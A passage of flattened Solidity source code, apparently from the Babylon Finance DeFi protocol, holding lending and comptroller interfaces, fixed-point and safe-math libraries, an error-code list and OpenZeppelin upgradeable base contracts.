redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function repayBorrow() external payable; function getCash() external view returns (uint256); function repayBorrowBehalf(address borrower) external payable; function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function exchangeRateCurrent() external returns (uint256); function supplyRatePerBlock() external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; interface IComptroller { /** * @notice Marker function used for light validation when updating the comptroller of a market * @dev Implementations should simply return true. * @return true */ function isComptroller() external view returns (bool); function markets(address _cToken) external view returns (bool, uint256); function getRewardsDistributors() external view returns (address[] memory); /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function getAllMarkets() external view returns (address[] memory); function _borrowGuardianPaused() external view returns (bool); function borrowGuardianPaused(address _asset) external view returns (bool); function borrowCaps(address _asset) external view returns (uint256); function compAccrued(address holder) external view returns (uint256); /*** Policy Hooks ***/ function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); function getAssetsIn(address account) external view returns (address[] memory); function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ITokenIdentifier} from './ITokenIdentifier.sol'; /** * @title IPriceOracle * @author Babylon Finance * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function getPriceNAV(address _assetOne, address _assetTwo) external view returns (uint256); function updateReserves(address[] memory list) external; function updateMaxTwapDeviation(int24 _maxTwapDeviation) external; function updateTokenIdentifier(ITokenIdentifier _tokenIdentifier) external; function getCompoundExchangeRate(address _asset, address _finalAsset) external view returns (uint256); function getCreamExchangeRate(address _asset, address _finalAsset) external view returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ITradeIntegration} from './ITradeIntegration.sol'; /** * @title IIshtarGate * @author Babylon Finance * * Interface for interacting with the Gate Guestlist NFT */ interface IMasterSwapper is ITradeIntegration { /* ============ Functions ============ */ function isTradeIntegration(address _integration) external view returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IVoteToken { function delegate(address delegatee) external; function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s, bool prefix ) external; function getCurrentVotes(address account) external view returns (uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); function getMyDelegatee() external view returns (address); function getDelegatee(address account) external view returns (address); function getCheckpoints(address account, uint32 id) external view returns (uint32 fromBlock, uint96 votes); function getNumberOfCheckpoints(address account) external view returns (uint32); } interface IVoteTokenWithERC20 is IVoteToken, IERC20 {} // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @dev Interface of the ERC1271 standard signature validation method for * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. * */ interface IERC1271 { /** * @dev Should return whether the signature provided is valid for the provided data * @param hash Hash of the data to be signed * @param signature Signature byte array associated with _data */ function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; import {SignedSafeMath} from '@openzeppelin/contracts/math/SignedSafeMath.sol'; import {LowGasSafeMath} from './LowGasSafeMath.sol'; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function */ library PreciseUnitMath { using LowGasSafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 internal constant PRECISE_UNIT = 10**18; int256 internal constant PRECISE_UNIT_INT = 10**18; // Max unsigned integer value uint256 internal constant MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 internal constant MAX_INT_256 = type(int256).max; int256 internal constant MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function decimals() internal pure returns (uint256) { return 18; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'Cant divide by 0'); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, 'Cant divide by 0'); require(a != MIN_INT_256 || b != -1, 'Invalid input'); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower(uint256 a, uint256 pow) internal pure returns (uint256) { require(a > 0, 'Value must be positive'); uint256 result = 1; for (uint256 i = 0; i < pow; i++) { uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {LowGasSafeMath} from '../lib/LowGasSafeMath.sol'; import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; library SafeDecimalMath { using LowGasSafeMath for uint256; /* Number of decimal places in the representations. */ uint8 internal constant decimals = 18; /* The number representing 1.0. */ uint256 internal constant UNIT = 10**uint256(decimals); /** * @return Provides an interface to UNIT. */ function unit() internal pure returns (uint256) { return UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint256 quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { uint256 resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _divideDecimalRound(x, y, UNIT); } /** * Normalizing amount decimals between tokens * @param _from ERC20 asset address * @param _to ERC20 asset address * @param _amount Value _to normalize (e.g. capital) */ function normalizeAmountTokens( address _from, address _to, uint256 _amount ) internal view returns (uint256) { uint256 fromDecimals = _isETH(_from) ? 18 : ERC20(_from).decimals(); uint256 toDecimals = _isETH(_to) ? 18 : ERC20(_to).decimals(); if (fromDecimals == toDecimals) { return _amount; } if (toDecimals > fromDecimals) { return _amount.mul(10**(toDecimals - (fromDecimals))); } return _amount.div(10**(fromDecimals - (toDecimals))); } function _isETH(address _address) internal pure returns (bool) { return _address == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE || _address == address(0); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } } // SPDX-License-Identifier: Apache-2.0 /* Original version by Synthetix.io https://docs.synthetix.io/contracts/source/libraries/safedecimalmath Adapted by Babylon Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; // solhint-disable /** * @notice Forked from https://github.com/balancer-labs/balancer-core-v2/blob/master/contracts/lib/helpers/BalancerErrors.sol * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAB#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAB#" part is a known constant // (0x42414223): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414223000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Max deposit limit needs to be under the limit uint256 internal constant MAX_DEPOSIT_LIMIT = 0; // Creator needs to deposit uint256 internal constant MIN_CONTRIBUTION = 1; // Min Garden token supply >= 0 uint256 internal constant MIN_TOKEN_SUPPLY = 2; // Deposit hardlock needs to be at least 1 block uint256 internal constant DEPOSIT_HARDLOCK = 3; // Needs to be at least the minimum uint256 internal constant MIN_LIQUIDITY = 4; // _reserveAssetQuantity is not equal to msg.value uint256 internal constant MSG_VALUE_DO_NOT_MATCH = 5; // Withdrawal amount has to be equal or less than msg.sender balance uint256 internal constant MSG_SENDER_TOKENS_DO_NOT_MATCH = 6; // Tokens are staked uint256 internal constant TOKENS_STAKED = 7; // Balance too low uint256 internal constant BALANCE_TOO_LOW = 8; // msg.sender doesn't have enough tokens uint256 internal constant MSG_SENDER_TOKENS_TOO_LOW = 9; // There is an open redemption window already uint256 internal constant REDEMPTION_OPENED_ALREADY = 10; // Cannot request twice in the same window uint256 internal constant ALREADY_REQUESTED = 11; // Rewards and profits already claimed uint256 internal constant ALREADY_CLAIMED = 12; // Value have to be greater than zero uint256 internal constant GREATER_THAN_ZERO = 13; // Must be reserve asset uint256 internal constant MUST_BE_RESERVE_ASSET = 14; // Only contributors allowed uint256 internal constant ONLY_CONTRIBUTOR = 15; // Only controller allowed uint256 internal constant ONLY_CONTROLLER = 16; // Only creator allowed uint256 internal constant ONLY_CREATOR = 17; // Only keeper allowed uint256 internal constant ONLY_KEEPER = 18; // Fee is too high uint256 internal constant FEE_TOO_HIGH = 19; // Only strategy allowed uint256 internal constant ONLY_STRATEGY = 20; // Only active allowed uint256 internal constant ONLY_ACTIVE = 21; // Only inactive allowed uint256 internal constant ONLY_INACTIVE = 22; // Address should be not zero address uint256 internal constant ADDRESS_IS_ZERO = 23; // Not within range uint256 internal constant NOT_IN_RANGE = 24; // Value is too low uint256 internal constant VALUE_TOO_LOW = 25; // Value is too high uint256 internal constant VALUE_TOO_HIGH = 26; // Only strategy or protocol allowed uint256 internal constant ONLY_STRATEGY_OR_CONTROLLER = 27; // Normal withdraw possible uint256 internal constant NORMAL_WITHDRAWAL_POSSIBLE = 28; // User does not have permissions to join garden uint256 internal constant USER_CANNOT_JOIN = 29; // User does not have permissions to add strategies in garden uint256 internal constant USER_CANNOT_ADD_STRATEGIES = 30; // Only Protocol or garden uint256 internal constant ONLY_PROTOCOL_OR_GARDEN = 31; // Only Strategist uint256 internal constant ONLY_STRATEGIST = 32; // Only Integration uint256 internal constant ONLY_INTEGRATION = 33; // Only garden and data not set uint256 internal constant ONLY_GARDEN_AND_DATA_NOT_SET = 34; // Only active garden uint256 internal constant ONLY_ACTIVE_GARDEN = 35; // Contract is not a garden uint256 internal constant NOT_A_GARDEN = 36; // Not enough tokens uint256 internal constant STRATEGIST_TOKENS_TOO_LOW = 37; // Stake is too low uint256 internal constant STAKE_HAS_TO_AT_LEAST_ONE = 38; // Duration must be in range uint256 internal constant DURATION_MUST_BE_IN_RANGE = 39; // Max Capital Requested uint256 internal constant MAX_CAPITAL_REQUESTED = 41; // Votes are already resolved uint256 internal constant VOTES_ALREADY_RESOLVED = 42; // Voting window is closed uint256 internal constant VOTING_WINDOW_IS_OVER = 43; // Strategy needs to be active uint256 internal constant STRATEGY_NEEDS_TO_BE_ACTIVE = 44; // Max capital reached uint256 internal constant MAX_CAPITAL_REACHED = 45; // Capital is less then rebalance uint256 internal constant CAPITAL_IS_LESS_THAN_REBALANCE = 46; // Strategy is in cooldown period uint256 internal constant STRATEGY_IN_COOLDOWN = 47; // Strategy is not executed uint256 internal constant STRATEGY_IS_NOT_EXECUTED = 48; // Strategy is not over yet uint256 internal constant STRATEGY_IS_NOT_OVER_YET = 49; // Strategy is already finalized uint256 internal constant STRATEGY_IS_ALREADY_FINALIZED = 50; // No capital to unwind uint256 internal constant STRATEGY_NO_CAPITAL_TO_UNWIND = 51; // Strategy needs to be inactive uint256 internal constant STRATEGY_NEEDS_TO_BE_INACTIVE = 52; // Duration needs to be less uint256 internal constant DURATION_NEEDS_TO_BE_LESS = 53; // Can't sweep reserve asset uint256 internal constant CANNOT_SWEEP_RESERVE_ASSET = 54; // Voting window is opened uint256 internal constant VOTING_WINDOW_IS_OPENED = 55; // Strategy is executed uint256 internal constant STRATEGY_IS_EXECUTED = 56; // Min Rebalance Capital uint256 internal constant MIN_REBALANCE_CAPITAL = 57; // Not a valid strategy NFT uint256 internal constant NOT_STRATEGY_NFT = 58; // Garden Transfers Disabled uint256 internal constant GARDEN_TRANSFERS_DISABLED = 59; // Tokens are hardlocked uint256 internal constant TOKENS_HARDLOCKED = 60; // Max contributors reached uint256 internal constant MAX_CONTRIBUTORS = 61; // BABL Transfers Disabled uint256 internal constant BABL_TRANSFERS_DISABLED = 62; // Strategy duration range error uint256 internal constant DURATION_RANGE = 63; // Checks the min amount of voters uint256 internal constant MIN_VOTERS_CHECK = 64; // Ge contributor power error uint256 internal constant CONTRIBUTOR_POWER_CHECK_WINDOW = 65; // Not enough reserve set aside uint256 internal constant NOT_ENOUGH_RESERVE = 66; // Garden is already public uint256 internal constant GARDEN_ALREADY_PUBLIC = 67; // Withdrawal with penalty uint256 internal constant WITHDRAWAL_WITH_PENALTY = 68; // Withdrawal with penalty uint256 internal constant ONLY_MINING_ACTIVE = 69; // Overflow in supply uint256 internal constant OVERFLOW_IN_SUPPLY = 70; // Overflow in power uint256 internal constant OVERFLOW_IN_POWER = 71; // Not a system contract uint256 internal constant NOT_A_SYSTEM_CONTRACT = 72; // Strategy vs Garden mismatch uint256 internal constant STRATEGY_GARDEN_MISMATCH = 73; // Minimum quarters is 1 uint256 internal constant QUARTERS_MIN_1 = 74; // Too many strategy operations uint256 internal constant TOO_MANY_OPS = 75; // Only operations uint256 internal constant ONLY_OPERATION = 76; // Strat params wrong length uint256 internal constant STRAT_PARAMS_LENGTH = 77; // Garden params wrong length uint256 internal constant GARDEN_PARAMS_LENGTH = 78; // Token names too long uint256 internal constant NAME_TOO_LONG = 79; // Contributor power overflows over garden power uint256 internal constant CONTRIBUTOR_POWER_OVERFLOW = 80; // Contributor power window out of bounds uint256 internal constant CONTRIBUTOR_POWER_CHECK_DEPOSITS = 81; // Contributor power window out of bounds uint256 internal constant NO_REWARDS_TO_CLAIM = 82; // Pause guardian paused this operation uint256 internal constant ONLY_UNPAUSED = 83; // Reentrant intent uint256 internal constant REENTRANT_CALL = 84; // Reserve asset not supported uint256 internal constant RESERVE_ASSET_NOT_SUPPORTED = 85; // Withdrawal/Deposit check min amount received uint256 internal constant RECEIVE_MIN_AMOUNT = 86; // Total Votes has to be positive uint256 internal constant TOTAL_VOTES_HAVE_TO_BE_POSITIVE = 87; // Signer has to be valid uint256 internal constant INVALID_SIGNER = 88; // Nonce has to be valid uint256 internal constant INVALID_NONCE = 89; // Garden is not public uint256 internal constant GARDEN_IS_NOT_PUBLIC = 90; // Setting max contributors uint256 internal constant MAX_CONTRIBUTORS_SET = 91; // Profit sharing mismatch for customized gardens uint256 internal constant PROFIT_SHARING_MISMATCH = 92; // Max allocation percentage uint256 internal constant MAX_STRATEGY_ALLOCATION_PERCENTAGE = 93; // new creator must not exist uint256 internal constant NEW_CREATOR_MUST_NOT_EXIST = 94; // only first creator can add uint256 internal constant ONLY_FIRST_CREATOR_CAN_ADD = 95; // invalid address uint256 internal constant INVALID_ADDRESS = 96; // creator can only renounce in some circumstances uint256 internal constant CREATOR_CANNOT_RENOUNCE = 97; // no price for trade uint256 internal constant NO_PRICE_FOR_TRADE = 98; // Max capital requested uint256 internal constant ZERO_CAPITAL_REQUESTED = 99; // Unwind capital above the limit uint256 internal constant INVALID_CAPITAL_TO_UNWIND = 100; // Mining % sharing does not match uint256 internal constant INVALID_MINING_VALUES = 101; // Max trade slippage percentage uint256 internal constant MAX_TRADE_SLIPPAGE_PERCENTAGE = 102; // Max gas fee percentage uint256 internal constant MAX_GAS_FEE_PERCENTAGE = 103; // Mismatch between voters and votes uint256 internal constant INVALID_VOTES_LENGTH = 104; // Only Rewards Distributor uint256 internal constant ONLY_RD = 105; // Fee is too LOW uint256 internal constant FEE_TOO_LOW = 106; // Only governance or emergency uint256 internal constant ONLY_GOVERNANCE_OR_EMERGENCY = 107; // Strategy invalid reserve asset amount uint256 internal constant INVALID_RESERVE_AMOUNT = 108; // Heart only pumps once a week uint256 internal constant HEART_ALREADY_PUMPED = 109; // Heart needs garden votes to pump uint256 internal constant HEART_VOTES_MISSING = 110; // Not enough fees for heart uint256 internal constant HEART_MINIMUM_FEES = 111; // Invalid heart votes length uint256 internal constant HEART_VOTES_LENGTH = 112; // Heart LP tokens not received uint256 internal constant HEART_LP_TOKENS = 113; // Heart invalid asset to lend uint256 internal constant HEART_ASSET_LEND_INVALID = 114; // Heart garden not set uint256 internal constant HEART_GARDEN_NOT_SET = 115; // Heart asset to lend is the same uint256 internal constant HEART_ASSET_LEND_SAME = 116; // Heart invalid ctoken uint256 internal constant HEART_INVALID_CTOKEN = 117; // Price per share is wrong uint256 internal constant PRICE_PER_SHARE_WRONG = 118; // Heart asset to purchase is same uint256 internal constant HEART_ASSET_PURCHASE_INVALID = 119; // Reset hardlock bigger than timestamp uint256 internal constant RESET_HARDLOCK_INVALID = 120; // Invalid referrer uint256 internal constant INVALID_REFERRER = 121; // Only Heart Garden uint256 internal constant ONLY_HEART_GARDEN = 122; // Max BABL Cap to claim by sig uint256 internal constant MAX_BABL_CAP_REACHED = 123; // Not enough BABL uint256 internal constant NOT_ENOUGH_BABL = 124; // Claim garden NFT uint256 internal constant CLAIM_GARDEN_NFT = 125; // Not enough collateral uint256 internal constant NOT_ENOUGH_COLLATERAL = 126; // Amount too low uint256 internal constant AMOUNT_TOO_LOW = 127; // Amount too high uint256 internal constant AMOUNT_TOO_HIGH = 128; // Not enough to repay debt uint256 internal constant SLIPPAGE_TOO_HIH = 129; // Invalid amount uint256 internal constant INVALID_AMOUNT = 130; // Not enough BABL uint256 internal constant NOT_ENOUGH_AMOUNT = 131; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IBabController} from '../interfaces/IBabController.sol'; library ControllerLib { /** * Throws if the sender is not the protocol */ function onlyGovernanceOrEmergency(IBabController _controller) internal view { require( msg.sender == _controller.owner() || msg.sender == _controller.EMERGENCY_OWNER(), 'Only governance or emergency can call this' ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { 